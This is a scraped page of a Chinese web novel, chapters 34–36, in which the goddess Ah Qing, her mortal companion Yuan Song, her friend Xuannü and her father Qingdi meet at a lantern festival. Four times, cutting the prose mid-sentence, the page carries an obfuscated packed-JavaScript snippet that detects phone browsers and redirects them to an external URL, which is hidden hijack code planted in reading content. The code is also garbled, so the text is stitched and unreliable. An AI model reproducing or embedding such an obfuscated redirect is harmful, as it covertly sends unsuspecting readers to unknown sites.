;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337532|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袁颂笑着伸手摘下几片粘在阿青鬓边的花瓣,盯着她洋洋得意弯起的唇角,又忍不住想要亲她,却觉得人多的地方,做这样的事,实在孟浪。 东风夜放花千树。 一时之间,街头巷尾的人都往堤岸边涌,想亲眼见一见这冬日春花开的奇景。 袁颂的唇角有怎么克制也压不下去的笑,挠着她的掌心,问:“一下子放这么多花灯,阿青,你要在上面写谁的名字?” 阿青显摆完自己的神力,没等到袁颂的夸夸,顿时板出“你怎么又讲蠢话”的表情,无语地反问:“我下凡就认识你一个人,你说呢?” 袁颂不动声色地将唇在她额角轻轻压了一下,笑着说:“我就知道你不会抵赖。” 两人站在一株茂密的柳树下,明明光影黯淡,可袁颂却总觉得有莫名的视线落在阿青身上。 他直觉敏锐,很快就发现隔岸的花灯下,有一身穿玄衣的年轻男子,眉心一点朱砂痣,正坐在一家酒铺里吃花生米。 对上他的视线,那人甚至还大大方方地冲他扬了扬眉,还悠悠然地摇了几下折扇,丝毫没有窥伺被抓的尴尬。 袁颂:“……” 大冬天摇纸扇,向来喜欢故作风流的纨绔子弟,多半脑子都不太好使。 袁颂平静地收回了打量的目光,调整了一下站姿,很自然地就挡住了对方落在阿青身上的视线。 可饶是如此,却依旧感觉到那人的眼睛直勾勾地想穿过他落在阿青的身上。 袁颂烦得很,甚至想挖了人眼睛。 以至于陪阿青猜灯谜的时候,都分了点心防贼。 上京城里,元月初一的灯会,并肩走在街上的一男一女是什么关系,明眼人一看就知道了,更何况,他先前肯定还目睹了他替阿青簪发。 盯着别人的未婚妻这样看,多少有点失礼了。 龙灯游街的时间快要到了,袁颂正准备领着阿青回酒楼,一转身,去路已经被横在当街的一把折扇拦住。 “小生不才,”玄衣青年握着折扇冲阿青施了个礼,亮晶晶的眼睛里蕴着的,都是揶揄的笑意,盯着一脸错愕的阿青打趣,“不知可否请神女也为小生点一次千树花灯?” 阿青眼里的惊喜才刚刚亮起,袁颂平静地沉着脸,手已经按在了随身的短刃上,百转千回的心思最后落到一点——或许真该找个没人的地方,挖了他的眼睛。 34.034-玄女 034 袁颂想挖的眼睛到底没挖成。 不仅如此,这双眼睛的主人还跟着两个人到了酒楼。 只是看阿青对他殷勤照顾的模样,也能猜到两人是旧识。 阿青待在他身边这半年来,几乎每一天都过得衣来伸手饭来张口,头一回见她这样体恤别人—— 袁颂只觉得大概挖掉这人的眼睛是不够的,得把双手砍掉才能一泄他心头之愤。 赶在对方第二次将手扶到阿青肩上之前,他先一步将人往旁边拉了一把,温煦的笑容在脸上看不出一点异样:“阿青,你不是说下凡了就认识我一个人?怎么都不介绍一下这位朋友?” 待查明了住址籍贯,就不用他亲自动手了。 阿青来不及开口,那玄衣青年就已经盯着袁颂的脸,惊艳地冲阿青叫道:“天呐,我也要给我的信徒托梦,让他们给我扔两个这样的小白脸下来!” 阿青眼疾手快,一把捂住了她的嘴:“你忘了那个被西门豹胖揍的河伯了吗?要遵纪守法啊玄女!” 也不管旁边的人瞪着一双委屈的眼睛如何努力地“唔唔唔”,阿青一脸抱歉地对袁颂叹了口气:“虽然我们偶尔也会有一些不是太好的想法,但玄女她没有恶意的,她就是想想,想想是不犯天条的。” “……” “对了,她叫玄女,是颛顼伯伯的侄女,也是个神仙。” 袁颂皱起眉上下打量了那玄衣青年一眼:“……女的?” 显然是不信。 玄女费力地挣开阿青的禁锢:“还不是因为你们凡间有牛郎这样的流氓!我只有变了男相,才能确保不会被这种癞蛤蟆盯上!才不会洗个澡就被偷走羽衣!织女姐姐是我们所有女仙的警示录!我下界之前,她特地让我瞧了瞧她肚子上的妊娠纹,差点没把我吓死!如果这种流氓连男人的衣裳都敢偷,那我只能说,栽在这种人手里,是我倒霉!” 袁颂垂眼看了玄女身上织锦华服,心想这种值钱衣服,流氓不会偷,窃贼倒是会感兴趣。 玄女:“你以为人人都像阿青这样的天赋异禀,睡个觉都能修炼,掐个诀就能引雷?” 阿青温柔地拍了拍玄女的肩膀,装出一副乐善好施的主人模样:“放心吧,要是真有男人偷你的羽衣,我也会叫袁颂帮你抢回来的。” 玄女的修为不到家,对下界一事一直提心吊胆,听她保证,免不了长舒一口气,用力抱紧了她:“好姐妹!” 袁颂在一旁看得无言以对,只是玄女的男相对阿青搂搂抱抱不停,总看得人生气。 他沉着脸,忍不住将阿青拉回了自己身侧:“马上就是龙灯游街了,来我这边看,视角更好。” 玄女正要探头凑到阿青身边来,被袁颂不动声色踢过去的一把椅子给拦住了。 酒楼包厢的阳台,凭栏而望,已能看到巷口亮起的龙首大灯。 隔着一具木质花架,玄女孜孜不倦地往阿青旁边挤,伸着脖子,偷偷跟她咬耳朵:“阿青,凡间的信徒都是这么贴心的吗?” 阿青不敢跟任何人说自己因为闯祸被困在袁家三百年的事情,毕竟这种阴沟里翻船的经历,太丢脸。 她这百年都没怎么化过形,满打满算也就袁颂一个信徒,但信徒奉神是天经地义,只能很含糊地应道:“应该吧。” 玄女欣慰道:“好!那我就更要给我的信徒托梦,让他们派两个虔诚的小白脸来近距离服侍我了。” 阿青:“……” 袁颂:“……” 九重天上如果神仙各个都是这副模样,那凡人想要造反登天也不是什么难事。 只是近朱者赤,难免阿青不会被她带坏。 玄女还没来得及畅想未来,对上袁颂的视线,却莫名觉得眼前这个凡人又对她动了杀心,于是迅速改口:“我就是想想,大不了他们就算给我送来了,我也会把小白脸送回去的。” 袁颂:“……” “好啦!你瞪我干嘛啦!!大不了,我把小白脸转赠给阿青还不行嘛!!” 袁颂:“……” 玄女:……我无了。 玄女从袁颂那里受了气,转头就跟阿青咬耳朵:“你信徒好凶啊,你确定他每天都好好给你上贡?” 阿青正沉迷于看底下的龙灯,咬了口云片膏“嗯嗯啊啊”地敷衍。 “他都给你上贡什么呢?”玄女忧心忡忡地捏捏她的胳膊戳戳她的腿,“是刀枪棍棒还是毒药砒霜?” 阿青被玄女的老妈子属性弄烦了,往她嘴里塞了块云片糕:“全都是这些好吃好喝的,闭嘴看灯吧你!” 玄女不信:“只有这些?” 脾气这么差的信徒,怎么看也不是个好相处的。 阿青皱起眉,随口列举了好几样她在白天吃过的美食。 玄女:“那晚上呢?晚上他给你供奉什么?” 阿青:“……” 袁颂晚上喜欢供奉给她一种粉粉的、绷着青筋的大家伙,而且经常一次性喜欢多次上贡,经常让她无福消受。 “他晚上的话——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347347|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袁颂:“阿青,不是所有事情都要跟别人说的。” 玄女:……别人?你说谁是别人??? 阿青仰头,乖巧又老实地回道:“我也没打算跟她说啊。” 玄女:……见外了妹妹。 玄女自打认识阿青以来,两个人就无话不谈,眼下区区一个凡人简直蹬鼻子上脸! 破坏她跟阿青的姐妹情! 当即也不管花架碍事不碍事了,直接把阿青扯回到了自己身边,苦口婆心道:“我跟你说啊,你这信徒看起来问题很大啊,我在他身上找不到一点儿敬神的痕迹。” 阿青狐疑:“……真假的?” 袁颂不用想,都知道对方多半是在说自己坏话,等玄女絮絮叨叨说完,不动声色地勾着阿青的手指,又把人拐回了自己身边。 阿青被花架两边的人拉来拉去,耽误她看热闹,心里正烦着,抬头一对上袁颂的脸—— 好嘛,又被美到了。 袁颂低着头,学着玄女刚刚跟她讲悄悄话的样子,热烘烘的气息扑进她柔软的耳道里,小心翼翼地问:“你朋友是不是不喜欢我呀?是我哪里做得不好吗?” 阿青认真脸:“玄女说,你对我图谋不轨,让我要小心一点你。” 袁颂:“她怎么讲?” 阿青将脸在花架背后躲了躲,避过玄女咬牙含恨的目光:“说你区区一介凡人,妄想以美色//诱绑我乐不思蜀、荒废修行,属实胆大包天。” 袁颂沉默片刻,忽然在斑斓的花灯下静静地弯着眼帘,淡色的琉璃瞳孔里映出她懵懂的脸。 “那倘若确有此事,你该如何?” 阿青有点招架不住袁颂灼然而温柔的目光,支支吾吾地说“我还没想好”。 袁颂又问:“会杀了我吗?” 阿青:“那是肯定不会的。” 不然她之前费那么大力气救他,岂不是白受罪? 玄女用力闻了闻空气,狐疑地朝两人问道:“怎么有股酸臭味?” 阿青:“……哈?” “不好说,我之前没闻过这怪味——”视线落在镇定如常的二人身上,她恍然大悟,“不对,感觉就像是对我一个人攻击来的。” 阿青叹了口气,抱歉地跟袁颂说:“玄女很害怕下凡的,可能是她精神太紧张了,就胡言乱语了。” 袁颂:“没事的,我们不管她。” 玄女:“……” 她觉得自己这趟下凡羽衣是完好无损的,但是被阿青的信徒气到内伤了。 35.035-缚灵 035 一场热热闹闹的龙灯游街在众人的欢欣鼓舞里落下帷幕,无数的花灯将偌大一条长街,照出一片不夜的盛景。 酒楼掐着时间送来第二场茶点,袁颂问明了跑堂的小厮,说是到了亥时还有一场斗灯。 确认环境安全的玄女总算勇于变回了女相,同样是一身玄衣,但至少看起来,比之前的男相要顺眼许多,将手搭在阿青肩上的时候,也没那么碍眼了。 玄女仍对两人的关系很不放心,拉着阿青坐在自己身边,担心地上上下下打量她:“你没让他碰到过你的羽衣吧?” 她虽然是头回下界,但察言观色的本事还是有的,这个叫袁颂的凡人对阿青好归好,但要是她哪个信徒敢对她捏捏手亲亲脸地以下犯上,她非把人掀海里不可。 “当然——” 阿青骄傲的头颅挺到一半,默默地低了回去,心虚的声音低低的像蚊子嗡嗡嗡。 “……没有啦。” 玄女松了一口气:“没有就好。” 早上刚刚替阿青叠过羽衣的袁颂慢条斯理地喝着茶,慢条斯理地弯了一下唇。 不想继续被玄女问东问西,阿青只能转移话题:“对了,玄女,你刚刚在那个酒铺里吃东西,付钱了吗?” 玄女:“什么玩意儿?” 阿青一脸“你怎么能这样”的无奈:“我就知道你一定没付钱就溜了!” 玄女:“……???” 阿青一副过来人的导游姿态:“他们凡间是这样子的,上了街,吃东西,是要给银子的,你之所以没被逮住,是因为这里的民风淳朴,百姓安居乐业,路不拾遗,大家都默认他人诚实守信,所以没留意你付没付钱,你都不好好观察一下别人就贸然行事,这样很容易出事情的!” 袁颂笑眯眯地看她认真讲解的侧脸:“阿青真聪明。” 玄女:……你抢我台词!! 玄女:“那该怎么办?” 阿青一边皱眉思索,一边“不经意”地对着她露出了荷包的一角。 玄女:“这什么?” 阿青一脸“你真是少见多怪”的得意:“压岁钱,你没见过吧?” 玄女果然发出了没见过世面的感慨:“你压什么岁,什么钱压得住你这岁数?” 阿青无语:“我这是要帮你去付钱的意思!万一因为你没付钱,牵出一堆因果,到时候天道要你偿,你该怎么办?” 神仙下界受天道约束,所谓的约束,就是因果律。 有此因,及彼果。 结小因,终大果,善恶难论。 如果碰上难以估量的果报,天道就会降下雷劫,对不守信用的神仙进行惩戒。 虽然吃酒不给钱不至于害神仙遭雷劈,但那道落在身上的天雷还是让阿青心有余悸,不舍得玄女遭此大难。 玄女:“那我刚刚吃了一路,都没人问我要过钱啊。” 阿青:“……哈?” 玄女掰着手指头给她说了好几家店招:“我光等位就等了好久!关键是还不好吃!这凡间也太差劲了!” 阿青:“……” 玄女是会选铺子的,尽挑又贵又排队的热门铺子浑水摸鱼,难怪老板没空抓她。 阿青粗略地估算了一下她赖掉的那些账,觉得自己的压岁钱最多压一压她自己的岁,可绝压不住玄女的,无奈地长叹了口气,能屈能伸,转头望向袁颂,眨着眼睛叫他“哥哥”。 玄女就差没跳起来:“你叫他什么你再叫一遍?天呐,你这年纪的零头做他太奶奶都绰绰有余,叫他哥哥也不怕他折寿吗阿青你怎么回事啊!!” 袁颂被阿青煞有其事的表情可爱得头脑发昏,掩唇轻咳一声,表示自己稍后就差人送银子过去,温柔地叫她不要担心。 两个人的眉来眼去看得玄女牙酸,甚至有一瞬觉得自己的存在很多余。 玄女气呼呼地吃完一截鸭脖,抹掉嘴上的油,居高临下地命令道:“你还是把钱给我们吧,万一路上横生枝节,我们又得自己来偿这些莫须有的因果。” 天道循环,自有因果律约束。 神仙之所以不爱下凡,就是因为,保不齐跟什么人接触说什么话,中间牵扯出什么因果,惹出一堆麻烦事。 她现在不用想都知道,阿青绝对是在凡间惹了一堆还不清的债—— 仗着自己修为高底子好,就一顿乱来! 玄女起身,叫了声“阿青”,是叫她跟她一起走的意思。 阿青立刻转了头,无奈地看他:“袁颂,我钱不够了。” 虽然的确不想在元月初一这样的日子跟她分开哪怕只有片刻,可袁颂发现自己根本没办法在阿青无意识撒娇的时候拒绝她,只能叹了口气,从怀里摸出了一个荷包,温声交代:“记住十丈之内,走太远了,我担心命契束缚到你。” 阿青下垂的眼睫轻轻颤了一下:“知道了。” 掩上酒楼包厢的门,凭栏外摊贩的叫卖声就被隔绝在了身后。 玄女收起了在席间的一惊一乍,看着阿青忽地就露出了忧色:“怎么下一趟凡,伤得这么重?” 阿青:“有多重?” 其实在河堤对岸,她就看出她神格不稳、状态不对。 只是离得远不敢确定,一晚上见她活蹦乱跳,又担心是自己多想。 酒楼偏侧无人的幽暗巷口,玄女伸手点在她眉心,金色的华光顷刻间像水流照亮她四肢百骸,阿青整个人好似被碎瓷拼起来的一样,摇摇欲坠,风一吹都能散架。 彻底瞧清楚了她的状况,玄女也不知道这时候是该生气还是该心疼:“离四分五裂就差一点了,你怎么能这么乱来?” 阿青狐疑:“有这么夸张吗?可我最近感觉还挺不错的啊,修为涨得飞快呢!” 玄女:“灵力是灵力,灵器是灵器,你的身体是容纳灵力的容器,现在出问题的是你的容器,你有没有想过,如果不是你的灵器这样四分五裂,以你的天资,你这段时日存下来的灵气,只会更多不会更少,灵气没了,可以找个宝地再修炼,灵器毁了,你就彻底灰飞烟灭了——这么简单的道理,还用得着我跟你说?” “那不是,还没四分五裂么,”阿青对这个结果其实也有预期,毕竟当初在林溪山顶那种状态下的羽化是不可能没有后遗症的,加上间隔那么短,她还受了一道可怖的天雷,能这般看起来好端端的,纯粹是她底子好,当然,跟袁颂这段时间的劳心劳力,也密不可分,“但比起这个,我其实更担心自己走火入魔。” 玄女像听见了一个天方夜谭,倒抽一口冷气:“你一块没有心的石头,怎么可能走火入魔!心魔都不知道该从哪儿滋生出来吧?!” 阿青:“那我这两天跟袁颂待一会儿,时不时就不舒服,不是走火入魔是什么?” 玄女难得认真起来:“是怎么样的不舒服?” 阿青思索了一下,跟她仔细形容了待在袁颂身边时,那股时不时蹿上胸口的、根本让人无法控制的酸意。 玄女对这种感觉完全不能感同身受,但架不住她准备充分,当机立断,从乾坤袋里掏出了一堆黄符:“我从太上老君那里拿了好多保命的符,咱们一起找找,总有适合你的!” 对上阿青一脸的目瞪口呆,玄女心有余悸道:“你都不知道我下来一趟找你我有多害怕,当然是能怎么准备就怎么准备了,就连不小心怀孕的落胎符我都备好了,我就算灰飞烟灭,也绝不给像牛郎这样的癞蛤蟆留后!” 阿青最近翻过袁颂好几本不同的《水经注》,已经见多识广,心想玄女好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352183|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歹是变了男相来的,凡间的癞蛤蟆应当也不会走让她怀孕的法子,但怕说实话吓到她,干脆闭口不言。 阿青:“玄女,你待我的恩情,没齿难忘,倘若你以后做了冬神占我出勤的日子,我决不跟你逼逼叨叨地计较。” 春夏秋冬、寒来暑往,自有天地规律。 倘若将四季当成不同的项目看,前头的项目一延误,连带后头的也会跟着被耽搁。 虽然的确很不想出勤点卯,但阿青咸鱼归咸鱼,归根结底,还是个有责任心的神,知道四季一乱,就会引得民不聊生,但偶尔拖延几日,问题不大。 同样一不小心就容易睡过头的玄女激动地揽住了阿青的肩膀:“好姐妹!” 两个神仙凑在一块,对着眼前那一叠各式各样的符咒翻翻拣拣。 阿青震惊地抽出一张“缚灵符”,问:“你怎么连这么厉害的东西都要到了?” 玄女白了她一眼:“还不是怕我万一跟那个绑架我的凡人闹得你死我活,快魂飞魄散的时候来救自己这么一道么!误打误撞,正好,给你用了。” 所谓缚灵,通俗来说,就是能帮神仙暂时锁魂、封住五感,以免妄念影响动荡的仙灵。 玄女将灵符往阿青手里一塞:“口诀还记得吧?你的仙体碎得这么惨不忍睹,这符刚好可以锁住你的心识,至于剩下的,等回去了我们再一块儿想办法。” 阿青没犹豫,将符纸夹在左手食指跟无名指上,明黄色的符就在顷刻间被点燃。 平地卷起的罡风吹开她的额发,照亮了她额前的一点朱红色的仙印。 符咒的释放和吸收都需要耗点心神,巷口不期然地传来两个少女的窃窃低语。 “哇!这就是崔家二哥亲手做的簪子吗?” “好漂亮啊。” “那你收了他的簪子,是不是就是答应他的提亲了?” “……怎么有你这么烦的人?明知故问。” 那枚被随手丢进乾坤袋里的灵蛇簪猝不及防浮上阿青脑海,一个极其诡谲的念头如同一阵抓不住的风,轻飘飘地在她魂识里一闪而过,随着眼前越燃越旺的符火,阿青的视线也只是在那两位少女身上定了一瞬,起效的缚灵符便像温泉暖流涌过了她的四肢百骸。 玄女全神贯注地替她确认周围环境,看着她仙体里那一道道被灵符滋养过后越收越窄的碎隙,放心之余,也不免留有余悸:“胆子真大,居然敢向天道羽化献祭,仗着自己是块刀枪不入的石头,简直胡作非为,都不要命了!” 阿青闭着眼睛念口诀,假装什么也没听见。 “若非林溪山顶那场血雨,我们都不知道你偷溜下凡的事,青君只好托我一同来寻你。” 阿青没办法装死了:“我爹也来了吗?” 玄女用一种看傻子的眼神看她:“你都伤成这样了,他能不来?!” “……” “你真该谢谢我,不然要让你爹看见你这副样子,不得心疼死?” 阿青只觉得头皮一阵发麻:“那他人呢?” “山野农夫,叨扰贵席,望袁公子见谅。” 窗明几净的酒楼包厢里,凭栏外是精彩纷呈的闹市街景,凭栏里的袁颂,握着一件狐裘大衣,担心冬夜寒凉露重,阿青受冻,想喊她早点回来,于是就在楼下熙熙攘攘的人群里找她,可找了半天没找到阿青,一回头,一位带着斗笠的中年男子却不知道什么时候出现在了他身侧,款然笑着看他的样子,显然已经观察了他有一会儿了。 见他目光怔然意外,一身农夫打扮的中年男人摘下头顶的斗笠,目光温和:“刚刚在河堤岸,袁公子似乎对我很感兴趣?” 呼之欲出的答案于顷刻间涌上袁颂心头。 “我就是阿青的父君,春神青帝。” 36.036-青君 036 相比袁颂脸上的错愕,青君的目光有一种极其从容的平和,微微含笑的眼睛里,竟找不到半分责备,宽容得甚至是在鼓励他开口。 即便阿青从未清晰认知过两人之间的关系,但袁颂却对自己的所作所为心知肚明,这时候猝不及防遇见人家父亲,也免不了心虚,只是他对阿青多年的心意可鉴天地,在短暂的思考后,便拱手恭恭敬敬地朝对方施了一个君子大礼,认真道:“请神君见谅青珩无状,之所以向阿青打听神君,也是想知道,到底要怎么做,才能向贵方提亲,好将阿青明媒正娶?” 似乎是没想到他居然敢这样单刀直入,青君脸上的笑意更深:“我女儿天性自然,她喜欢跟谁在一起就在一起,我也管不住她。” 言外之意显然是不会强行反对、帮打鸳鸯,可袁颂还来不及高兴,却听青君喟叹着说了句“可是”。 “你是初生牛犊不怕虎,但在提亲之前,我或许应当告诉你,阿青她到底是个怎么样的人,你可以再决定要不要收回刚刚说的话。” 袁颂正色,态度坚定:“不管阿青是怎么样的人,我对她的心意可昭日月,求娶一事也绝无更改的打算。” 青君的表情一贯淡漠从容,这时候也难得递了他一个“无知小儿”的眼神:“你可知,石头里成的仙,有什么问题吗?” “……” “她是没有心的。” 袁颂忪怔片刻,他明明清清楚楚地感受过阿青心脏的跳动,以至于有一瞬甚至怀疑自己听岔了青君的话:“什么意思?” 青君:“意思就是,你们凡人讲求七情六欲,但阿青或许有六欲,却不可能有七情,毕竟是石头成的仙,自然也对得起‘铁石心肠’这四个字,怎么可能会有心呢?她既然连心都没有,又怎么能感受得到情?” 见袁颂仍怔目不语,青君叹了口气,继续缓声道:“或者,我换一个更通俗的说法,你何时见过她哭?天打雷劈、剔骨羽化,受再重的伤,她也只会笑,可即使是笑,也是后天模仿习得,而非像你们人,生来就有情感,高兴就笑,难过就哭,九重天界的神仙,安逸惯了,她从没见过别的神仙哭,看到眼泪从人的眼珠子里流下来,也只会觉得好玩。” 跟阿青相处的点点滴滴像走马灯一样闪过他的脑海,于那些点滴之中曾经泛出来的怪异感,也终于在这一刻,有了最准确的答案。 袁颂不置一词,平静地看着眼前从容不迫的青君,却觉得呼入胸腔的每一口气,都是切割着五脏六腑的刀。 而青君平缓温和的语声,每一字一顿,都让他心如刀绞,痛得他鲜血淋漓,皮开肉绽,面目全非。 “她根本无法理解你们人间的喜怒哀乐,更不会认为你们的长相厮守难能可贵,你要如何让这样一个神仙倾心于你,做你妻子,与你白头?” “……” “织女对牛郎,或许有怨憎悔、恨别离,但阿青对你,什么也不会有,待时间的洪流一滚,她连你的名字都不一定会记得。” 青君见他脸色,已知道他听懂了自己的意思。 “我同你说这些,并不是有意要你知难而退,而是想劝你不要执念于此,免得蹉跎大好年华,”青君说到这里,像一个好脾气的老者,很温和地对他摇了摇头,“不值得。” “你有大好前程,凡人百年,应当珍惜岁时,做一番自己的事业,不要拘泥于在一件根本没有任何可能的事情上,何苦做无用功?这样,很不值得——既浪费你爹对你的期望,也对不起阿青救你一场。” 这是他第二次跟他强调“不值得”。 不知道过了多久,袁颂终于在尖锐的耳鸣声中,找到了自己的声音:“为什么?” 简单的三个字,简单的几个音,却仿佛是刀片硬生生从喉咙里刮出来一样。 青君:“什么为什么?” 心脏处密密麻麻传来的痛楚,让袁颂呼吸的每一口气,都带着刺骨的辛辣。 “青君口口声声劝我不值得,可字字句句都在说不般配。” 被点破心事,青君也不恼,只是很随意松懒的轻笑:“但我说的是事实,自古真相伤人,忠言逆耳——你之所以心生不忿,是因为你也知道我说的是对的,却对此无能为力,不是么?” 凭栏外,热闹的斗灯已经结束,熙熙攘攘的看客开始陆陆续续归家,原本人声鼎沸的灯市有了退场的趋势。 可本该准时回来的阿青,却找不到踪影。 “对了,她是不是还没跟你说过,命契早就已经解开的事情?” “没了这道所谓的命契,你们之间唯一的联系,也就彻底断了。” 面对袁颂陡然苍白的脸,青君只是很寡然地看了一眼,便转身步入了茶室。 茶博士之前送来的茶汤已经泡好,白茶清甘的气息在烟火纷呈的灯烛香气里,有一种很独特的甜味。 桌案三盏茶,青君带着农茧的手指轻轻点上了那盏理应属于玄女的青瓷碗。 “我今夜前来,本意并不是想做那个讨人嫌的恶人,只是想告诉你,什么叫神,无欲无求可为神,悲天悯人亦可为神,可神有神的规则,人有人的宿命。” “每一个得道的神仙,从凡间入仙界,必跨过一条名为“忘川”的心河,那条河会淹没那个神仙做凡人时所有的贪嗔痴念,所谓断情绝欲,就是洗掉自己七情的过程,忘川的大小决定着一个神仙的上限,欲望越大,忘川越小,忘川越小,可容纳的灵力也就越小。” “灵石成仙的神,少得屈指可数,鸿蒙初始,纵古观今,也就三位,一位是开天辟地的盘古,一位是护送三藏西天取经的斗战胜佛,还有一位,就是我的女儿。” 青君说到这里,忽然停顿了一下,于眼底浮出肉眼可见的骄傲。 “阿青的心智没有受过一丁点尘世情与欲的污染,所以她的忘川是一片海,这样的天赋,不仅适合做神仙,更适合执掌一方天界,待我陨落后,继我衣钵。” “她天赋极好,偏偏偷懒又贪玩,要不然也不至于被人三言两语就骗进你们府中。” “只是她既然天性如此,道法无为,我便不干涉她,由她逍遥自在。” 青君说的每一个字眼都无可指摘,可袁颂仍然努力试图从每一个字缝里掰出以他之力能做的尝试。 他闭了闭眼,再开口时,情绪已经稳定,和缓语声里,却是前所未有的笃然和镇定:“不过就是精卫填海,从我的血肉里滋养出的爱慕、妄想、不甘心,每一粒尘、每一粒土,数以千计的心动,成千上万的相思,无穷无尽的执欲,都会尽数投入她的忘川。” 青君默然不语,只是低着头用茶盖推开杯中茶叶,像个凡间最闲适的文人雅士,轻轻品了一口,喟叹着感慨了句“好久没喝这么好的茶了”。 然后他定定地抬头看着眼前的少年,微微皱起眉,他已经完全想不起来,自己还是一个凡人的时候,在他这个岁数,曾经做过什么事情——有没有为过什么人,为过什么事,这样不卑不亢据理力争过? “精卫有亿万寿数,你呢?” “你所谓的爱慕、妄想、不甘心、心动、相思和执欲,在阿青浩渺到无边无际的忘川里,连水花都溅不起一点。” “愚公移山尚有子孙百代,你有什么?” 掌握春耕万物生的神仙,说这些话的时候,望向袁颂的目光始终平静如古井。 活了上万年的旧神,所有的情感欲求,喜怒哀乐,早已淹没在滚滚的时尘里。 沧海桑田,仙升仙陨,他见过太多太多像袁颂这样的人,因为短暂的惊鸿一瞥而虚耗余生,可到了最后,也不过只是一捧黄土。 他甚至没有嘲笑他的不自量力,他只是用一种无比平静的语气、无比宽容温柔的眼神在陈述一个事实——作为凡人的袁颂,永远无法抵达阿青忘川的彼岸。 “你应当知道什么叫千秋万代、寿与天齐,也应当知道什么叫朝为青丝暮成雪,在九重天界,蜉蝣一念,也不及一场花开。” 最残忍的真相被撕开。 袁颂只觉得四肢百骸都冰冷透骨,像是被囚于幽暗的冰室,四面八方都找不到出口,连呼吸的空气、四肢的力气都被抽离得一干二净。 青君若有所思地垂下眼,叹道:“你给阿青讲了那么多故事,那么,我也给你讲一个故事?” 无人打扰的环境里。 包厢内是一片静潭死水。 凭栏外是愈减愈弱的繁华。 青君低柔和缓的声音打破僵持的沉寂。 “五百年前,弥勒佛在三月初三真武大帝的寿辰与之谈经论道,不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357109|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎地,就有了一场讥辩。” “佛道两派各执一词,辩得不可开交,于是,就有人提议,不如斗法一场,自然可见分晓,可斗法斗法,要有人才能斗,如何选中应景契合的人,就成了一道最难的题,只因斗法需要下界,下界则必受因果律制约,一着不慎,被反制不说,甚至还有形神俱灭的风险,诸天神佛竟无一人敢入局斗法,直到弥勒忽然抚掌一笑,说正好,他近日讲经,遇到一只偷吃了佛祖灯油的狐狸,这狐狸有天生的慧根,又得佛法熏陶,便借这次斗法,予它一个长生的机会,看无边佛法能否渡它脱离轮回。” “弥勒这招属实取巧,但我教却不能这样囫囵效仿,无人自告奋勇,众人正一筹莫展之际,一位正在荷花池边逗鱼的女仙却笑吟吟地说这有何难,何不取下她的影子,投入凡间,既可避过天道耳目,又能随她心遂她意而动,且若赢了,也不怕这帮和尚们闹她胜之不武,真武大帝笑着应允,也想借此机会,顺水推舟助她找一找成神要奉的道。” 袁颂听得云里雾里:“所以他们斗法到底斗的什么?” “他们斗的是——”青君的眼睛一瞬不瞬地落在袁颂的脸上,像要透过他的瞳孔,望尽他的前世今生,“顽石无心灵狐七窍,到底是无情能修大道,还是有情能结正果。” 一种冥冥之中诡谲的宿命感莫名地盘旋上心头,袁颂皱眉:“结果呢?” 青君施施然地靠向椅背,唇边的笑痕似蜻蜓点水:“自然是弥勒输了。” “……” “佛教折了一只灵狐,且又让出三千道场,供我教广纳信徒,那女仙只收了影子,不费一兵一卒,晋升十二金仙。” 青帝看着袁颂若有所思的脸,忽然惋惜地长叹了一口气:“有狐绥绥向西去,待见明月第几重。” 似是自言自语,又似在点他机锋。 “你们世人总是嘲弄猴子捞月,可一旦身在局中,总免不了做那只贪心的猴子。” “猴子捞月时,并不知道自己捞的只是水中月,他只知道,自己挂在树梢,再往前够一点点,就能揽月入怀,无数次地搅碎月亮的倒影,却还以为,明月正在奔他而来。” “真是……”青君大概是觉得可笑,便低低地笑出声,喟叹道,“可惜可叹又可悲。” 他看着袁颂。 看着这一个几百年来都无人问津的魂灵。 轮回百世,再坚毅虔诚的生灵,所有的记忆和执念都在一碗又一碗孟婆的黄汤里烟消云散。 